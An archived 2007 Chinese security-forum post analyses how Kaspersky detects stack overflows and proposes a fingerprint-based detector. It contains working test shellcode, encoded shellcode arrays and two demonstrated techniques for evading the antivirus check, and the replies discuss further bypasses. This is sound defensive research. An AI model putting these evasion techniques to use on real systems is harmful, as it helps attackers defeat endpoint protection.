邪恶八进制信息安全团队技术讨论组's Archiver

gyzy 2007-8-8 13:04

[原创]基于栈指纹检测缓冲区溢出的一点思路

文章作者:gyzy [E.S.T]([url]www.gyzy.org[/url])
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

基于栈指纹检测缓冲区溢出的一点思路
Author:gyzy
Email:gyzy@msn.com
Homepage:[url]http://www.gyzy.org[/url]
Date:2007-08-08

带图片的PDF版本及随文工程可从附件下载

现有的检测栈溢出的模式
二.  现有检测体系存在的不足
三.  针对引擎要做的改进
四.  关于未来

引言
当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在。

现有的栈溢出检测模式
整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:
  __asm
  {
    /* --------------------解码开始---------------------- */
    jmp   decode_end

decode_start:
        
    pop   edx       // 得到解码开始位置 esp -> edx
    dec   edx
    xor   ecx,ecx
    mov   cx,0x13D      // 要解码的长度

decode_loop:
        
    xor   byte ptr [edx+ecx], 0x99
    loop  decode_loop
    jmp   decode_ok

decode_end:
        
    call  decode_start

decode_ok:
  /*--------------------解码结束---------------------- */

    jmp   end
         
start:
    pop   edx       // 指令表起始地址存放在 esp -> edx

    // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
    //
    // 输入:
    // edx => 指令表起始地址 (不需要)
    //
    // 输出:
    // eax => kernel32.dll起始地址
    // edx => 指令表起始地址

    mov   eax, fs:0x30   // PEB
    mov   eax, [eax + 0x0c] // PROCESS_MODULE_INFO
    mov   esi, [eax + 0x1c] // InInitOrder.flink
    lodsd
    mov   eax,[eax+8]



    // ========== 定位GetProcAddress的地址 ==========
    //
    // 输入:
    // eax => kernel32.dll起始地址
    // edx => 指令表起始地址
    //
    // 输出:
    // ebx => kernel32.dll起始地址
    // eax => GetProcAddress地址
    // edx => 指令表起始地址

    mov    ebx,eax       // 取kernel32.dll的起始地址 DLL Base Address
    mov    esi,dword ptr [ebx+3Ch]     // esi = PE header offset
    mov    esi,dword ptr [esi+ebx+78h]
    add    esi,ebx       // esi = exports directory table
    mov    edi,dword ptr [esi+20h]      
    add    edi,ebx       // edi = name pointers table
    mov    ecx,dword ptr [esi+14h]     // ecx = number of name pointers
    xor    ebp,ebp     
    push   esi

         
search_GetProcAddress:
    push   edi
    push   ecx
    mov    edi,dword ptr [edi]
    add    edi,ebx       // 把输出函数名表起始地址存人edi
    mov    esi,edx       // 指令表起始地址存入esi
    //mov    ecx,0Eh       // 函数getprocAddress长度为0Eh
    push   0xE
    pop   ecx
    repe cmps  byte ptr [esi],byte ptr [edi]
    je    search_GetProcAddress_ok
        
    pop    ecx
    pop    edi
    add    edi,4
    inc    ebp
    loop   search_GetProcAddress

search_GetProcAddress_ok:
    pop    ecx
    pop    edi
    pop    esi
    mov    ecx,ebp
    mov    eax,dword ptr [esi+0x24]
    add    eax,ebx
    shl    ecx,1
    add    eax,ecx
    xor    ecx,ecx
    mov    cx,word ptr [eax]
    mov    eax,dword ptr [esi+0x1C]
    add    eax,ebx
    shl    ecx,2
    add    eax,ecx
    mov    eax,dword ptr [eax]
    add    eax,ebx
        
    // ============ 调用函数解决api地址 ============
    //
    // 输入:
    // ebx =>kernel32.dll起始地址
    // eax =>GetProcAddress地址
    // edx =>指令表起始地址
    //
    // 输出:
    // edi =>函数地址base addr
    // esi =>指令表当前位置
    // edx =>GetProcAddress 地址

    mov   edi,edx
    mov   esi,edi
    add   esi,0xE       // 0xE 跳过1个字符串"GetProcAddress"32177368
        
    // ============ 解决kernel32.dll中的函数地址 ============
    mov   edx,eax       // 把GetProcAddress 地址存放在edx
    //mov   ecx,0x5       // 需要解决的函数地址的个数
    push  0x2
    pop  ecx
    call  locator_api_addr
        
    // ============ 加载user32.dll ============
    add  esi,0xd      
                  // 硬编码可以节省两个字节
    push  edx         // edx是GetProcAddress 地址
    push  esi         // 字符"urlmon"地址
    //mov    dword ptr fs:[4],0x0012FFFF
    //mov    dword ptr fs:[8],0x0012FFFF
    call  dword ptr [edi-4]      // LoadLibraryA
        
    // ============ 解决函数地址 ============
    pop   edx
    mov   ebx,eax       // 将urlmon.dll起始地址存放在ebx
    //mov   ecx,1       // 函数个数
    push  0x1
    pop   ecx       // 函数个数 <-这种方式省两个字节
    call  locator_api_addr

    // 取得一些空间存放系统路径
    sub esp, 0x20
    mov ebx, esp

    //MessageBox的参数
    mov dword ptr [ebx], 0x797a7967     // "yzyg"
    mov dword ptr [ebx+0x4], 0x00000000    // "00"

    push 0
    push ebx
    push ebx
    push 0
    call [edi-0x4]            //MessageBoxA
        
    // ExitProcess
    push  eax
    call  dword ptr [edi-0x0c]      // ExitProcess

    // ============ 解决api地址的函数 ============
    //
    // 输入参数:
    // ecx 函数个数
    // edx GetProcAddress 地址
    // ebx 输出函数的dll起始地址
    // esi 函数名表起始地址
    // edi 保存函数地址的起始地址

locator_api_addr:
        
locator_space:
    xor   eax,eax
    lodsb
    test  eax,eax         // 寻找函数名之间的空格x00
    jne   locator_space
        
    push  ecx
    push  edx
    push  esi         // 函数名
    push  ebx         // 输出函数的dll起始地址
    //mov    dword ptr fs:[4],0x0012FFFF
    //mov    dword ptr fs:[8],0x0012FFFF
    call  edx
    pop   edx
    pop   ecx
    stos  dword ptr [edi]
    loop  locator_space
    xor   eax,eax
    ret
    // ================== 结束调用 ====================
end:
    call  start
  }

通过这个简单的Shellcode可以窥探到卡巴对于栈溢出的检测模式,通过将shellcode拷贝到栈中执行的方式也模拟栈溢出,期间KIS共弹出了5次Buffer Overrun的警告,从Shellcode中大致可以推断出被Hook的函数是GetProcAddress(4次)和LoadLibraryA(1次),如图1

[attach]6413[/attach]
以下是GetProcAddress的反汇编代码:
7C883FEC > 55       PUSH EBP
7C883FED  8BEC      MOV EBP,ESP
7C883FEF  90       NOP
7C883FF0  5D       POP EBP
7C883FF1 - E9 997EFF75   JMP F287BE8F
7C883FF6  90       NOP
7C883FF7  90       NOP
很明显GetProcAddress被Hook了,LoadLibrary系列函数也是一样,那么究竟卡巴是如何检测栈溢出的产生的呢,再看它的驱动:
lkd> u f287BE8F
f287be8f 8b442404    mov   eax,dword ptr [esp+4]
f287be93 56       push  esi
f287be94 8b74240c    mov   esi,dword ptr [esp+0Ch]
f287be98 6a00      push  0
f287be9a 56       push  esi
f287be9b 6880be87f2   push  0F287BE80h
f287bea0 8d4c2414    lea   ecx,[esp+14h]
f287bea4 50       push  eax
lkd> u
f287bea5 51       push  ecx
f287bea6 e8f5f3ffff   call  f287b2a0
f287beab 84c0      test  al,al
f287bead 7410      je   f287bebf
f287beaf 6a05      push  5
f287beb1 33f6      xor   esi,esi
f287beb3 ff159cc087f2  call  dword ptr ds:[0F287C09Ch]
f287beb9 8bc6      mov   eax,esi
lkd> u
f287bebb 5e       pop   esi
f287bebc c20800     ret   8
f287bebf 688fbe87f2   push  0F287BE8Fh
f287bec4 e807f6ffff   call  f287b4d0
f287bec9 8d1440     lea   edx,[eax+eax*2]
f287becc 56       push  esi
f287becd 8b44240c    mov   eax,dword ptr [esp+0Ch]
f287bed1 50       push  eax
lkd> u f287b2a0
f287b2a0 8b442408    mov   eax,dword ptr [esp+8]
f287b2a4 8b542404    mov   edx,dword ptr [esp+4]
f287b2a8 56       push  esi
f287b2a9 8d4c240c    lea   ecx,[esp+0Ch]
f287b2ad 50       push  eax
f287b2ae 51       push  ecx
f287b2af 52       push  edx
f287b2b0 e8fbfdffff   call  f287b0b0
lkd> u f287b0b0
f287b0b0 55       push  ebp
f287b0b1 8bec      mov   ebp,esp
f287b0b3 83ec24     sub   esp,24h
f287b0b6 64a104000000  mov   eax,dword ptr fs:[00000004h]
f287b0bc 8945f8     mov   dword ptr [ebp-8],eax
f287b0bf 64a108000000  mov   eax,dword ptr fs:[00000008h]
f287b0c5 8945fc     mov   dword ptr [ebp-4],eax
f287b0c8 8b4508     mov   eax,dword ptr [ebp+8]
lkd> u
f287b0cb 8b4d0c     mov   ecx,dword ptr [ebp+0Ch]
f287b0ce 8b50fc     mov   edx,dword ptr [eax-4]
f287b0d1 8b45fc     mov   eax,dword ptr [ebp-4]
f287b0d4 3bd0      cmp   edx,eax
f287b0d6 8911      mov   dword ptr [ecx],edx
f287b0d8 7210      jb   f287b0ea
f287b0da 3b55f8     cmp   edx,dword ptr [ebp-8]
f287b0dd 730b      jae   f287b0ea
lkd> u
f287b0df b8e7030000   mov   eax,3E7h
f287b0e4 8be5      mov   esp,ebp
f287b0e6 5d       pop   ebp
f287b0e7 c20c00     ret   0Ch
f287b0ea 8b4510     mov   eax,dword ptr [ebp+10h]
f287b0ed 3d00000068   cmp   eax,68000000h
f287b0f2 0f829e000000  jb   f287b196
f287b0f8 3d00000065   cmp   eax,65000000h
其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键,上面有两条指令也特别值得注意:
mov   eax,dword ptr fs:[00000004h]
mov   eax,dword ptr fs:[00000008h]

以下是TEB的数据结构:
typedef struct _TEB {       // Size: 0xF88
/*000*/ NT_TIB NtTib;
/*01C*/ VOID *EnvironmentPointer;
/*020*/ CLIENT_ID ClientId;    // PROCESS id, THREAD id
/*028*/ HANDLE ActiveRpcHandle;
/*02C*/ VOID *ThreadLocalStoragePointer;
/*030*/ PEB *ProcessEnvironmentBlock; // PEB
/*034*/ ULONG LastErrorValue;
/*038*/ ULONG CountOfOwnedCriticalSections;
/*03C*/ ULONG CsrClientThread;
/*040*/ ULONG Win32ThreadInfo;
/*044*/ UCHAR Win32ClientInfo[0x7C];
/*0C0*/ ULONG WOW32Reserved;
/*0C4*/ ULONG CurrentLocale;
/*0C8*/ ULONG FpSoftwareStatusRegister;
/*0CC*/ UCHAR SystemReserved1[0xD8];  // ExitStack ???
/*1A4*/ ULONG Spare1;
/*1A8*/ ULONG ExceptionCode;
/*1AC*/ UCHAR SpareBytes1[0x28];
/*1D4*/ UCHAR SystemReserved2[0x28];
/*1FC*/ UCHAR GdiTebBatch[0x4E0];
/*6DC*/ ULONG gdiRgn;
/*6E0*/ ULONG gdiPen;
/*6E4*/ ULONG gdiBrush;
/*6E8*/ CLIENT_ID RealClientId;
/*6F0*/ ULONG GdiCachedProcessHandle;
/*6F4*/ ULONG GdiClientPID;
/*6F8*/ ULONG GdiClientTID;
/*6FC*/ ULONG GdiThreadLocalInfo;
/*700*/ UCHAR UserReserved[0x14];
/*714*/ UCHAR glDispatchTable[0x460];
/*B74*/ UCHAR glReserved1[0x68];
/*BDC*/ ULONG glReserved2;
/*BE0*/ ULONG glSectionInfo;
/*BE4*/ ULONG glSection;
/*BE8*/ ULONG glTable;
/*BEC*/ ULONG glCurrentRC;
/*BF0*/ ULONG glContext;
/*BF4*/ ULONG LastStatusValue;
/*BF8*/ LARGE_INTEGER StaticUnicodeString;
/*C00*/ UCHAR StaticUnicodeBuffer[0x20C];
/*E0C*/ ULONG DeallocationStack;
/*E10*/ UCHAR TlsSlots[0x100];
/*F10*/ LARGE_INTEGER TlsLinks;
/*F18*/ ULONG Vdm;
/*F1C*/ ULONG ReservedForNtRpc;
/*F20*/ LARGE_INTEGER DbgSsReserved;
/*F28*/ ULONG HardErrorsAreDisabled;
/*F2C*/ UCHAR Instrumentation[0x40];
/*F6C*/ ULONG WinSockData;
/*F70*/ ULONG GdiBatchCount;
/*F74*/ ULONG Spare2;
/*F78*/ ULONG Spare3;
/*F7C*/ ULONG Spare4;
/*F80*/ ULONG ReservedForOle;
/*F84*/ ULONG WaitingOnLoaderLock;
} TEB, *PTEB;

typedef struct _NT_TIB {
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception
            // record list
  PVOID StackBase;          // 04h
  PVOID StackLimit;          // 08h
  PVOID SubSystemTib;         // 0Ch
  union {               // 10h
    PVOID FiberData;        // for TIB
    ULONG Version;         // for TEB
  };
  PVOID ArbitraryUserPointer;     // 14h Available
          // for application use
  struct _NT_TIB *Self;        // 18h Linear address
          // of TEB structure
} NT_TIB;
typedef NT_TIB *PNT_TIB;
Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶,现在思路就比较明朗了,卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。

现有检测模式的不足
既然知道了他的检测模式,那么突破就是轻而易举的事了,有两种思路:
修改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测,但是LoadLibrary系列却不行,百思不得其解,若有高人知道,请指教(可能TEB跟线程有关,LoadLibrary涉及到多线程方面的一些问题)。

第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令,然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下:在原来调用API的地方,如call  dword ptr [edi-4]      // LoadLibraryA
使用如下方法来代替:   
mov    edx,dword ptr [edi-4]      // LoadLibraryA
call  gcall
其中gcall代码如下:
    // ============ 绕过缓冲区溢出检查的call ============
    //
    // 输入参数:
    // edx 函数地址
    // 0x7C884000
gcall:
    pop    eax //将真正的返回地址保存到eax
    mov    ecx,0x7C884000
    push    ecx
    mov    byte ptr [ecx],0x68   //push指令
    mov    dword ptr [ecx+1],eax  //写入地址
    mov    byte ptr [ecx+5],0xC3  //写入ret指令
    jmp    edx //执行真正的函数
0x7C884000是Kernel32数据段的地址,当然,可以用其它等价的地址替换。再次运行shellcode,卡巴没有任何反应,如图2:
[attach]6414[/attach]

针对性的改进
在卡巴现有的检测中还是有一个Bug,就是TEB中的栈基址和栈顶数据是不可信的,应当在初始化时保存,而不应每次都去重新获取,当然这种检测机制本身就是不可靠的,需要改进,这就是本文要提出的基于栈指纹检测缓冲区溢出,说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生,防止迂回绕过我们的检测,因为有一点是肯定的:栈溢出发生时Shellcode是在栈中的,这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害,但是事实证明还是能被绕过,例如:覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过,比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。
笔者利用Detour库做了一个检测的模型,代码如下:
// dll.cpp : 定义 DLL 应用程序的入口点。
//
#include <windows.h>
#include "detours.h"
#include <dbt.h>

DETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA);

HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
  DWORD stackbase,stacklimit,retaddr;

  __asm{
    mov eax,dword ptr [esp+0x1c]
    mov retaddr,eax
    mov eax,dword ptr fs:[4]
    mov stackbase,eax
    mov eax,dword ptr fs:[8]
    mov stacklimit,eax
  }

  if ( retaddr < stacklimit && retaddr > stackbase )
  {
overflow:
    MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
    return NULL;
  }

  //0x64 0xA1 0x30 0x00 0x00 0x00
  __asm{
    push  0x100
    pop    ecx
    mov    esi,esp
compare:
    cmp    dword ptr [esi],0x0030A164  //检测mov eax,fs:[30]
    je    overflow
    inc    esi
    loop  compare
  }

  return fLoadLibraryA(lpFileName);
}

BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    DetourFunctionWithTrampoline((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
    break;

  case DLL_PROCESS_DETACH:
    DetourRemove((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
    break;
  }
  return TRUE;
}
这儿只是为了达到演示的目的只挂接了LoadLibraryA,并且配合了卡巴的检测方法,目的是提高检测的效率。这使用的指纹就是mov eax,fs:[30],几乎每个Shellcode都会用到来获取Kernel32的基址,当然如果要成为一个商业产品,那无疑需要降低误报的几率,那就需要更可靠的特征码。
#include <windows.h>

unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x21\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x45\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD8\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x12\xCE\x65\x71\xD5\x99"
"\x99\x99\xC3\x12\x41\xF3\x98\xC0\x71\xB0\x99\x99\x99\x1A\x75\xB9"
"\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3"
"\x99\xCA\xCA\xF3\x99\x12\xCE\x65\x71\xB8\x99\x99\x99\xC9\x12\xCE"
"\x6D\x71\x81\x99\x99\x99\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF"
"\xCA\x71\x91\x99\x99\x99\xC3\xC0\x32\x7B\x72\xAA\x59\x5A\xC1\x20"
"\x99\xD9\x11\xE5\xC8\x5F\x98\xF1\x10\xD8\x98\x5F\xD8\x9C\x5A\x66"
"\x7B\x71\x86\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

unsigned char sh2llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x28\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x7A\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD1\x99\x99\x99\x1A\x5F\x94\xCB\xCF\xFD\x5E\x9C\x9D\x99\x99"
"\x99\x66\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75"
"\xB9\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99"
"\xF3\x99\xCA\xCA\xF3\x99\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35"
"\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\xFD\x5E\x9C\x9D\x99\x99\x99\x66"
"\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99\x66\x4B"
"\xC3\xC0\x32\x7B\x41\xAA\x59\x5A\x71\x81\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

unsigned char sh3llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xFC\x00\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x2E\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xAB\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75\xB9\x12\x45\x5E\x9A\xFE"
"\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3\x99\xCA\xCA\xF3\x99"
"\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xDD\x66\x66"
"\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{  
  //加载溢出防护dll
  LoadLibrary("AntiOverflow.dll");

  char sc[512];
  ZeroMemory(sc,512);
  memcpy(sc,(char*)shellcode,512);

  __asm
  {
    lea eax,sc
   
    jmp eax
  }

  return 0;
}
第一个Shellcode是能绕过卡巴检测的,第二个是修改了TEB中栈基址和栈顶值的Shellcode,卡巴会报一次,第三个是原始的Shellcode,卡巴会报5次。在加载了上述的溢出防护dll之后,3次测试都准确的拦截了,如图3:


关于未来
从效率的角度来看,Ring0下的Hook显然要比Ring3下高,因为挂接了大量此类函数会使系统的效率明显下降,以及代码的效率问题,都是需要提高的。另外就是指纹的选择,可以借鉴杀毒软件中复合特征码的思路来做。历来对于堆溢出的检测一直没有好的思路,或许指纹检测也是一个权宜之计。错误或纰漏在所难免,在此还恳请大家指正。

附参考文献:
[1] 作者不详.《Windows NT内核分析》

hhhtron 2007-8-14 15:21

从安焦看到这篇文章的,有些地方不明白想问问。

1、卡巴只是挂了kernel32 ! getprocedure吗,还是做得比较彻底?
   如果只有kernel32,那我用Ntdll ! LdrGetProcedureAddress行不行? 或者干脆什么也不用,我自己实现GetProcedure,这也很常见,代码量并不大,跟从内存里找getprocedure差不多。

2、楼主说溢出的时候 shellcode一定是在栈里,为什么呢?
   我采用类似ret2lib这样的技术行不行? 虽然有点过时了,但应该还管用吧? 当然,vista 以后有了ASLR,难度大了许多。

匆匆看了一下,可能有理解错误的地方,请多指教,谢谢!

gyzy 2007-8-14 16:21

[quote]引用第1楼hhhtron于2007-08-14 15:21发表的 :
从安焦看到这篇文章的,有些地方不明白想问问。

1、卡巴只是挂了kernel32 ! getprocedure吗,还是做得比较彻底?
   如果只有kernel32,那我用Ntdll ! LdrGetProcedureAddress行不行? 或者干脆什么也不用,我自己实现GetProcedure,这也很常见,代码量并不大,跟从内存里找getprocedure差不多。

.......[/quote]

1.Ntdll ! LdrGetProcedureAddress应该可以,需要WinDBG的回答。其实hash比较就可以了。

2.ret2lib对付卡巴应该可以,国外有一个安全产品好像能够拦截。我这篇文章没有说清楚,其实是特指栈溢出的

页: [1]
© 1999-2008 EvilOctal Security Team